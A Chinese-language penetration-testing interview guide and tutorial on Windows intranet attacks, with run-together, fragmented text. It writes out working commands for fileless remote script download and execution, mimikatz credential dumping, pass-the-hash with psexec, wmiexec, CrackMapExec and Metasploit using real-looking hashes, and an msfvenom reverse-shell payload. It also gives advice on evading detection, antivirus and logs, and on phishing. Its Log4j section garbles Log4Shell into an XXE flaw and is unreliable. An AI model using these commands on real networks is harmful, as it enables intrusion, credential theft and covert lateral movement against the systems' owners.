wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html内网扫描#
nbtscan#
扫描Windows网络上的NetBIOS名字信息。对给出范围内的每一个地址发送NetBIOS状态查询,列出响应的主机信息,可获取PC的真实IP地 址和MAC地址
nbtscan.exe 网段ICMP#
依次对内网中的每个IP地址执行ping命令,快速找出内网存活主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.137.%I | findstr “TTL=”ARP#
使用ARP协议进行IP探测#
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >>
out.html
wmic os get
name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,Syst
emDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.htmlarp.exe -t 网段kscan#
资产测绘工具,可对指定资产进行端口扫描及TCP指纹识别和Banner抓取。能针对扫描结果进行自动化暴力破解
kscan.exe -t 网段 --encoding gb2312fscan#
内网综合扫描工具。支持主机存活探测、端口扫描、常见服务的爆破、计划任务反弹shell、读取win网卡信息、web漏洞扫描、域控识别等 功能
fscan.exe -h 192.168.137.0/24ladon#
大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、密码爆破、高危漏洞检测以及一键GetShell等功能,Ladon支 持Cobalt Strike插件化扫描快速拓展内网进行横向移动
Ladon.exe 192.168.137.0/24 OnlinePCScanLine#
windows下的端口扫描命令行程序,可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度快,不需要winPcap库支持
shell ScanLine.exe -bhpt 0-4000 192.168.137.30Telnet#
Telnet协议是TCP/IP协议簇的一员,是Internet远程登录服务的标准协议和主要方式。可快速探测某台主机的某个常规高危端口是否开放
telnet IP地址 端口PowerSploit#
基于PowerShell的后渗透框架软件,包含很多PowerShell攻击脚本,用于渗透中的信息侦测,权限提升,权限维持等
本地执行
powershell -exec bypass Import-Module .\Invoke-Portscan.ps1;Invoke-Portscan -Hosts 网段 -ports ‘445,8080,3389,80’无文件远程执行#
powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString(‘远程服务器地址/Invoke
‐Portscan.ps1’);import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 网段 ‐ports ‘445,8080,3389,80’Nishang#
针对PowerShell的渗透工具
powershell Set-ExecutionPolicy remotesigned #允许导入
powershell -command “& {import-module .\nishang\nishang.psm1;Invoke-PortScan -StartAddress 192.168.137.1 -EndAddress
192.168.137.31 -ResolveHost -ScanPort -Port 445 }” #导入模块扫描网段nishang文件夹放入CS目录进行导入
powershell-import .\nishang\nishang.psm1
powershell Invoke‐PortScan ‐StartAddress 192.168.137.1 ‐EndAddress 192.168.137.31 ‐ResolveHost -ScanPort五、内网如何横向渗透?#
1 、初始横向移动#
横向渗透就是在已经攻击到内网里时候通过肉鸡作为跳板去获取更多的计算机权限,从而控制整个内网#
纵向渗透就是在一台肉鸡里获取更高的权限,就是所谓的提权#
1.1 攻击分类#
pass the hash(hash传递攻击,简称pth)
pass the ticket(票据传递攻击,简称ptt)
pass the key(密钥传递攻击,简称ptk)2 、横向传递梳理#
3 、横向渗透之IPC$#
3.1 IPC$介绍#
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过 验证用户名和密码获得相 应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。 通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机 器中的文件,进行上传、下载等操作,还可以 在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
3.2 IPC$利用条件#
3.2.1 开启了 139 、 445 端口#
ipcs可以实现远程登录及对默认共享资源的访问,而 139 端口的开启表示NetBIOS协议的应用。通过 139 、445( Windows2000)端口,可以实现 对共享文件打印机的访问。因此,一般来讲,ipcs需要 139 、 445 端口的支持。
3.2.2 管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录 winnt或 windows( adminS)通过ipc$, 可以实现对这些默认共享目录的访问。
3.3 IPC$连接#
3.4 IPC$错误#
3.4.1 IPC$连接失败的原因#
用户名或密码错误#
目标没有打开ipcs默认共享
不能成功连接目标的 139 、 445 端口
3.4.2 IPC$连接常见错误
#建立连接
net use \\192.168.79.147\ipc$ "密码" /user:administator
#查看连接
net user3.5 利用IPC$横向#
利用Windows自带命令,Windows Vista、windows server2008及之后版本的操作系统已将at命令废弃了,可以使用schtasks命令代替at命 令.schtask命令比at命令更为灵活、自由
3.5.1 dir命令
在我们使用net use 命令与远程目标建立IPC$连接成功后,可以使用dir 命令列出远程主机中的文件
3.5.2 tasklist命令
在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列出远程主机上运行的进程
3.5.3 利用定时任务#
3.5.4 清除IPC$连接#
4 、横向渗透之PTT票据传递攻击#
4.1 简述#
PTT票据传递攻击主要根据Kerberos协议和Kerberos的认证机制原理来进行攻击的。
由于我们客户端想要访问服务端的时候,会首先去访问域控的KDC就是身份认证分发中心。首先访问AS拿到可以可以购买票据的身份认证 TGT,然后才能去买票。我们可以通过伪造一个TGT来去买票,然后进行操作。这个攻击就叫票据攻击,伪造TGT的过程就是黄金票据。
当我们客户端访问服务端的时候,不需要TGS给我们发放ST(就是票据),我们自己伪造一个这个票据直接去访问服务的过程就叫白银票 据。
黄金票据 :就是我们攻击者伪装成这个公司的员工,自己伪造了一个门卫的凭证(TGT),因此就不需要和门卫(AS)去登记,进入办公区(KDC)#
后,窃取了一个万能凭证(就是krbtgt账号),拥有这个凭证就可以自有出入领导办公室查询资料。 白银票据 :就是我们的攻击者拿到了这个 公司领导办公室侧门的钥匙(也就是可以利用部分的服务,比如cifs),他都不需要进入办公区(KDC)去找前台登记给予凭证(ST),而是直接伪造 了一个ST,拥有了钥匙直接去打开领导办公室的侧门进入查询资料。
4.2 黄金票据#
Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的 。TGT仅用于向域控制器上的KDC 服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
TGT中包含有客户端的Name、IP、当前时间戳、客户端即将访问TGS的Name、TGT的有效时间、客户端与TGS通信的Session_key (GT_SK)。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
4.3 白银票据#
白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步,通过伪造的票据授予服务 TGS 生成伪造的服务票据 ST 直接与服务器 Server 进行交互。
错误号5:拒绝访问
错误号51: Windows无法找到网络路径,即网络中存在问题。
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火墙(端口过 滤)
错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。 错误号1326:未知的用户名或
错误的密码
错误号l792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连 接域控制器时会出现此情况)。
错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定 期修改密码°dir \\192.168.79.147\c$tasklist /s 192.168.79.147net time \\IP地址 #查看系统时间
copy 文件名 \\IP地址 #复制文件
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f #创建计划任务
schtasks /run /s IP地址 /i /tn "计划任务名" #执行计划任务
schtasks /delete /s IP地址 /tn "计划任务名" /f #删除计划任务net use \\IP /del /y就好比A需要进入公司办公处,首先需要去门卫处验证是否是这个公司的人(也就是通过AS的认证);然后通过门卫确认后,拿着门卫的凭证(也就是
我们所需要TGT)去办公处里面,这时候我们如果需要去领导办公室查询资料(就是访问Sever),那么就需要通过办公处的前台去登记,让前台确认我
们是否有去查询的资格,当确认我们有资格后会给予凭证(就是ST),我们就可以拿着这个凭证去领导办公室查询资料了。域名称
域的SID值
域的KRBTGT账号的HASH
伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)由于白银票据没有与KDC 进行交互,所以在DC上面是没有访问日志的,日志全部在目标服务器上。#
5 、横向渗透之PTH哈希传递攻击#
5.1 简述#
PTH攻击:Pass The Hash 哈希传递攻击
在一个计算机域中,为了方便管理,登录计算机时大概都是用的域账号,也就是相同的本地管理员账户密码,如果攻击者获得了其中一台机 器相关的 NTLM HASH 也就是密码散列值,就可以通过哈希传递的方法登录内网中其它的计算机。
NTLM HASH 与 NTLM:NTLM 是一种网络认证协议,其以NTLM HASH作为根本凭证进行身份认证。在本地认证中,将用户输入的密码转 换位NTLM HASH与SAM文件中的NTLM HASH进行比较。
5.2 攻击#
在渗透测试中,拿到目标机器的用户明文密码或者 NTLM HASH 后,可以利用Windows自带的方法对远程目标系统进行命令行下的连接操 作,连接远程主机并进行操作,相关入侵命令。
实战文章域渗透-哈希传递攻击(Pass The Hash/Key) - 知乎 (zhihu.com)
6 、横向渗透之PTK密钥传递攻击#
ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实 现类似pth的功能。
使用mimikatz "privilege::debug" "sekurlsa::ekeys"命令获取aes的hmac
使用mimi进行测试:sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
在弹出的cmd窗口中输入net use命令进行测试
wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试6.1 防御措施#
windows安装kb2871997补丁 使用Kerberos认证代替NTLM认证 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能
六、内网横向渗透有什么思路?#
PTH(pass-the-hash) HASH 传递#
pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不 用提供明文密码。
pass the hash 原理:
在 Windows 系统中,通常会使用 NTLM 身份认证
NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
hash 分为 LM hash 和 NT hash,如果密码长度大于 15 ,那么无法生成 LMhash。从 Windows Vista 和 Windows Server 2008 开
始,微软默认禁用 LM hash
如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)这类攻击适用于:
域/工作组环境
可以获得 hash,但是条件不允许对 hash 爆破
内网中存在和当前机器相同的密码微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass TheHash 已经无法成功,唯独默认的 Administrator(SID 500)账 号例外,利用这个账号 仍可以进行 Pass The Hash 远程 ipc 连接。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。
使用 mimitkaz 进行pth攻击#
以下的实验环境为两台主机,一台为 Windows server 2008 r2, 一台为 Windows 10。
两台主机为一个域, 2008 为域控。
以管理员启动 mimitkaz 输入以下命令获取hash:
域名
域 SID
目标服务器的 FQDN 即完整的域名
可利用的服务
服务账户的 NTLM 哈希
伪造的用户名即任意用户名得到 hash 后进行横向渗透
使用 psexec 进行横向移动#
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在 远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束 后删除服务。利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协 议
**psexec登录 第一种:**先有 ipc 链接,psexec 需要明文或 hash 传递
PsExec.exe /accepteula /s \\192.168.150.160 -u Administrator -p 123456 cmd- accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
- s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
- u 域\用户名
- p 密码
# 开启调试
privilege::debug
# 获取hash
sekurlsa::logonpasswords# 下面的命令可以把hash保存出来
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> passwordhash.txt# 开启调试
privilege::debug# 尝试横向渗透其他主机
sekurlsa::pth /user:MOONSEC\administrator /domain:08server-dc.moonsec.fbi
/ntlm:31d6cfe0d16ae931b73c59d7e0c089c0也可以使用下面的命令直接执行命令不反弹shell
**psexec登录 第二种:**不知道明文密码,但是知道我们要登录的主机的hash,使用hash进行登录(可以用作权限维持)
个人测试发现使用 PsExec.exe 进行hash传递会失败,这里建议使用 psexec的python版本进行hash传递。
在使用 PsExec 时需要注意以下几点:
需要远程系统开启 admin$ 共享(默认是开启的)
因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删
除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。(有可能是psexec.exe 不行
使用psexec.py可以)PsExec.exe /accepteula /s \\192.168.150.160 -u Administrator -p 123456 cmd /c "ipconfig"PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
./Administrator@192.168.150.160python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
./Administrator@192.168.150.160在我们知道域管理员的在账号和密码后,我们可以登陆域管理,使用以下命令:#
使用 msf hash 进行横向渗透#
使用 CrackMapExec 进行批量横向渗透#
CrackMapExec 可以对 C 段中的主机进行批量 pth
项目下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
对 192.168.150.0/24 C 段进行批量 pass the hash
python3 psexec.py moonsec/Administrator@192.168.150.160
# 输入密码# 登陆其他主机管理员
psexec.exe /accepteula /s \\192.168.150.161 -u Administrator -p 123456 cmduse exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.150.160
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
runcrackmapexec smb 192.168.150.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4使用 WMI命令 进行横向渗透#
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默 认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
wmic 命令#
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端口是 WMIC 默认的管理端口,wimcexec 使用 445 端口传回显)
之后建立 IPC$ ,使用 type 读取执行结果
使用 wmiexec.py 脚本获取shell#
在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell其他攻击手法可以看下 readme.md,这里只简单的对 pth 做一下实 验:
# 执行命令并保存在C盘
wmic /node:192.168.150.160 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig >
c:\ip.txt"# 建立IPC$
net use \\192.168.150.160\ipc$ "123456" /user:administrator
# 读取结果
type \\192.168.150.160\c$\ip.txtpython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
Administrator@192.168.150.160 "whoami"wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash这个部分 00000000000000000000000000000000 可以随便填写
wmiexec.py 明文密码获取 shell
使用 wmiexec.vbs 脚本获取shell#
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:
https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
使用 vmiexec.vbs 执行单条命令
python3 wmiexec.py administrator:123456@192.168.150.160cscript //nologo wmiexec.vbs /shell 192.168.150.160 administrator 123456wmic 的其他命令#
使用 wmic 远程开启目标的 RDP
判断 RDP 是否开启#
如果返回 0 表示开启,返回 1 表示关闭#
远程重启电脑#
Invoke-WmiCommand#
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。
在 Powershell 中运行以下命令
cscript wmiexec.vbs /cmd 192.168.150.160 administrator 123456 "ipconfig"# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE
(__Class!="") CALL SetAllowTSConnections 1# 适于 Windows 7、 8 、 10 ,server 2008、 2012 、 2016 ,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLEWHERE ServerName='计算机名' call
SetAllowTSConnections 1或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1# 指定目标系统用户名
$User = ".\administrator"# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.150.160# 将执行结果输出到屏幕上
$Remote.PayloadOutput如果遇到无法导入模块以管理员身份打开PowerShell ,使用以下命令:
Invoke-WMIMethod#
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
set-executionpolicy remotesigned# 指定目标系统用户名
$User=".\administrator"# 指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.150.160" -
Credential $Cred我们可以看到在目标主机上已经运行了计算器的程序#
七、了解内网提权吗?#
一、Windows权限分类#
在windows中,权限大概分为四种,分别是User、Administrator、System、TrustedInstallerTrus
1.user:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员操作修改操作系统的设置或用户资料)
2.Administrator: 管理员权限。可以利用windows的机制将自己提升为system权限,以便操作SAm文件
3.System: 系统权限。可以对sam等敏感文件进行读取,往往需要将administrator权限提升到system权限才可以对散列值进行DUmp操作
4.TrustedInstaller:window中的最高权限,对系统文件,即将拥有system权限也无法进行获取散列值、安装软件、修改防火墙规则、修改 注册表等
纵向提权: 低权限角色获得高权限角色的权限,例如,一个webshell权限通过提权,拥有了管理员权限,这种提权就是纵向提权。
横向提权扩展: 获取同级别角色的权限。#
二、系统内核溢出漏洞提权分析及防范#
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统#
没用及时补丁。#
通过手动执行命令发现缺失补丁#
1.whoami/groups 2.查看目标机器的补丁 systeminfo 3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn
八、内网的hash传递原理是什么?#
Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务 器的目的 在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口 令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。 适用场景:内网中大量主机密码相同。 原理 hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash 和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash 值。PTH是基于smb服务( 139 端口和 445 端口)。
九、内网中除了哈希传递攻击还有什么方式免密登录到其他的机器?#
SSH登录#
Linux多台主机之间实现免密登陆
十、内网怎么去找到域管理员的机器?#
在内网中找到域管理员的机器,可以尝试以下几种方法: 1.查看域名服务器(DNS):在内网中,域名服务器通常是由域管理员管理的,通#
过查看 DNS 服务器的配置信息,可以找到域管理员的机器。可以使用 nslookup 命令或者其他的 DNS 查询工具来查看 DNS 服务器的配置信 息。 2.查看域控制器(DC):域管理员通常会登录到域控制器上进行管理操作,因此可以通过查看域控制器的日志或者其他信息来确定域管 理员的机器。可以使用 netdom 命令或者其他的域管理工具来查看域控制器的配置信息。 3.查看域管理员的工作站:域管理员通常会使用自 己的工作站来进行管理操作,可以通过查看域管理员的工作站来确定域管理员的机器。可以使用 arp 命令或者其他的网络扫描工具来查看内 网中的主机信息,进而确定域管理员的机器。
十一、现在菜刀连接了一台内网主机,怎么快速地登录上线?#
首先,需要明确的是,菜刀是一种远程控制软件,使用它需要取得被控制主机的控制权。如果已经成功连接了内网主机,可以尝试以下几种#
方法来快速登录上线:#
1. 使用菜刀自带的远程桌面功能:在菜刀的功能列表中,有一个 “远程桌面” 按钮,可以直接打开内网主机的远程桌面,以便登录系统。#
2. 使用菜刀的文件管理功能上传工具和脚本:可以将一些常用的工具和脚本上传到内网主机,例如 Meterpreter、Powershell、Python
等,以便进行后续的渗透测试和攻击操作。
3. 使用菜刀的命令行功能:菜刀提供了一个命令行界面,可以在其中输入命令来执行操作。可以使用命令行界面来进行后续的操作,例如
执行命令、上传文件、下载文件等。十二、在内网中用 nmap 扫描,怎样让对方发现不了?#
在内网中使用 Nmap 进行扫描时,可以采取以下几种方法来尽可能地不被对方发现:1. 使用半开扫描:半开扫描只进行一次握手过程,速度 快且不容易被检测到。可以使用 Nmap 的 - sS 参数来进行半开扫描。2. 使用随机化扫描:可以在扫描时使用随机化 IP 和端口来模拟正常的 网络流量,以便更好地隐藏扫描行为。可以使用 Nmap 的 - D 参数来指定随机化 IP,使用 - g 参数来指定随机化端口。3. 使用分散扫描:可 以将扫描任务分散到多个主机上进行,以便更好地分散扫描流量和降低被检测到的风险。可以使用 Nmap 的 –exclude 参数来指定不进行 扫描的主机,使用 - Pn 参数来禁止进行 ping 测试。4. 使用延迟扫描:可以在扫描时增加延迟时间,以便更好地模拟正常的网络流量,避免 被对方发现。可以使用 Nmap 的 - T 参数来指定扫描的延迟时间。
十三、已经通过 webshell 进入内网,发现内网中有一台服务器你的后续攻击思#
路是什么?内网机器有杀软怎么拿 shell?#
一旦成功通过 webshell 进入内网,接下来的攻击思路可以分为以下几个步骤:
1. 收集信息:通过内网中的主机和服务信息,确定目标主机的操作系统、服务、补丁等信息,以便后续攻击。
2. 获取更高权限:如果当前的权限不够高,需要尝试获取更高的权限。可以使用提权工具(如 Metasploit、Empire、PowerSploit 等)
进行提权攻击。
3. 密码破解:如果需要登录到目标系统,可以使用密码破解工具(如 Hydra、Medusa 等)进行密码破解攻击。
4. 横向移动:如果目标主机不是最终目标,需要进行横向移动,攻击其他主机,获取更多信息和权限。
5. 数据盗取:在攻击过程中,需要获取敏感信息和数据。可以使用数据盗取工具(如 Mimikatz、Wireshark 等)进行数据盗取。
6. 消除痕迹:在完成攻击后,需要消除攻击痕迹,以免被对方发现。可以使用消除痕迹工具(如 BleachBit、sdelete 等)进行清除。如果内网机器有杀软,可能会导致攻击者无法直接通过 shell 获取更高权限。这时可以尝试使用免杀工具(如 Cobalt Strike、Empire
等)进行攻击。免杀工具可以绕过杀软的检测,使攻击者可以更轻松地攻击目标主机。另外,还可以使用木马、后门等工具进行攻击,
以获取更高权限和控制目标主机。十四、给你一个待上线的内网系统你如何测试?#
1 说明#
针对内网的常规渗透思路,简单粗暴一学就会。#
如违规侵权请联系我删贴哦。#
注意:仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!#
2 信息收集#
对服务器资产信息进行收集,存活的ip以及端口所对应的服务。 1 推荐工具:F-NAScan github地址:https://github.com/ywolf/F-NAScan
2 推荐工具:webfinder
3 推荐工具:网站存活检测工具#
3 弱口令检测#
在这些服务器开放的端口服务中,主要服务由为系统服务、数据库服务、web服务。对常见的端口服务进行弱口令检测是非常有必要的。
1 推荐工具: iscan
2 推荐工具:超级弱口令爆破工具#
4 业务系统 WEB应用渗透#
通过服务器资产探测,可收集服务器开放web端口,内网系统中,大部分web系统访问的界面都是登录界面,需要用户名密码进行认证。可 进行弱口令爆破,SQL注入等操作。一部分设备厂商登陆界面可寻找公开漏洞或者设备默认密码等操作进行渗透。
5 系统漏洞检测#
漏扫检测系统漏洞,内网补丁很少的情况下可以试试远程溢出。MS17_ 010 、MS09_ 050 等漏洞利用。#
推荐工具:Nessus
十五、给你一个网站域名,怎么拿内网系统的权限?#
准备#
打开两个虚拟机,这里我用的是 kali 和 windows7,kali 作为攻击机,那么 windows7 就作为肉鸡;
查看两台机子的 IP:
Kali IP
Windows7 IP
ping 一下,可以连通,那就开始攻击准备;攻击#
1 、生成一个针对 windows 的攻击文件,msf.exe:
2 、另开窗口,打开 msfconsole,设置一下监听脚本:
3 、将这个反弹 Payload 传给 windows,这里使用 python 建立连接,真实场景需要通过社工让目标接收并启动:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.13.128 LPORT=4444 -f exe -o msf.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: msf.exe在 windows 中,打开浏览器输入 ip:prot,点击 msf.exe 进行下载:
4 、开始监听,然后运行 msf.exe 文件:
成功监听到了 windows;
root@kali:~# python -m SimpleHTTPServer 888
Serving HTTP on 0.0.0.0 port 888 ...5 、接下来就可以进行一些 简单 的操作了,这里就不过多赘述:#
十六、内网中给你 admin 的账号怎么获取密码?#
在内网中获取 admin 账号的密码,可以尝试以下几种方法:
1.直接询问:如果有权限,可以直接询问管理员或者相关人员获取密码。
2.破解密码:可以使用密码破解工具(如 Hashcat、John the Ripper、Mimikatz 等)对 admin 账号进行暴力破解或者字典破解。如果目标 系统使用弱密码或者常见密码,破解成功的几率会比较大。
3.利用漏洞:可以尝试利用目标系统存在的漏洞,以获取 admin 账号的密码。例如,利用 MS08-067 漏洞可以获取 Windows 系统的管理员 权限,从而可以获取 admin 账号的密码。
4.通过社工方式获取:可以通过社交工程学的方式,以获取 admin 账号的密码。例如,可以通过发送钓鱼邮件、仿冒登录页面等方式获取密 码。
十七、给你一个网站 shell 你会怎么打内网?#
如果给定一个网站 shell,攻击者可以尝试以下几个步骤来进一步攻击内网:
1. 主机发现:使用网络扫描工具(如 Nmap)扫描目标内网中的活动主机和开放端口。
2. 漏洞扫描:使用漏洞扫描工具(如 Nessus、OpenVAS)扫描目标主机上存在的漏洞,以便发现可以利用的漏洞。
3. 漏洞利用:使用漏洞利用工具(如 Metasploit、Empire)利用找到的漏洞,以获取更高的权限。
4. 横向移动:在获取了初始权限后,可以使用横向移动工具(如 Mimikatz、PsExec、WinRM)攻击其他主机,以获取更多的权限。
5. 数据收集:在获取了更高的权限后,可以使用数据收集工具(如 BloodHound、PowerView)收集内网中的敏感信息,以便进一步攻
击。
6. 持久化:在攻击完成后,可以使用持久化工具(如 Cobalt Strike、Empire)进行持久化,以确保能够长期地访问目标系统。十八、给你一个场景你的电脑连上了内网,给你一个 ip192.1.1.1 访问,访问不#
到,怎么进行信息收集?#
如果在内网环境中访问 192.1.1.1 失败,可以尝试以下几种方法进行信息收集:#
1.确认目标 IP 是否正确:首先需要确认目标 IP 是否正确,可以通过查看内网拓扑图或者询问管理员等方式确认目标 IP 是否正确。#
2.确认网络是否正常:检查自己的网络是否正常,可以使用 ping 命令检测是否能够与网关通信,以及是否能够访问其他内网主机。
3.端口扫描:使用端口扫描工具(如 nmap)扫描目标主机上开放的端口,以便发现目标主机上提供的服务或应用程序。
4.操作系统识别:使用操作系统识别工具(如 nmap、p0f)识别目标主机上运行的操作系统版本,以便后续攻击。
5.漏洞扫描:使用漏洞扫描工具(如 Nessus、OpenVAS)扫描目标主机上存在的漏洞,以便发现可以利用的漏洞。
6.社交工程:如果以上方法均无法获取目标主机的信息,可以尝试使用社交工程的方法,例如通过与内网用户交流、发送钓鱼邮件等方式获#
取目标主机的信息。#
十九、怎么利用 xxe,log4g2 去打内网?#
XXE漏洞是指攻击者可以在 XML 请求中注入恶意代码,从而导致服务器执行攻击者的代码。而Log4j 2是一个流行的Java日志记录器,它也存 在XXE漏洞。攻击者可以使用Log4j2的配置文件(log4j2.xml)来注入XXE攻击,从而在服务器上执行任意代码。 利用XXE漏洞和Log4j 2可 以进行以下步骤来进一步攻击内网:
1.通过XXE漏洞注入Log4j 2的配置文件(log4j2.xml)。
2.在Log4j 2的配置文件中,使用XXE漏洞将文件传输到攻击者控制的服务器上。
3.在攻击者控制的服务器上,查找包含敏感信息的文件,并进一步攻击内网中的其他系统。
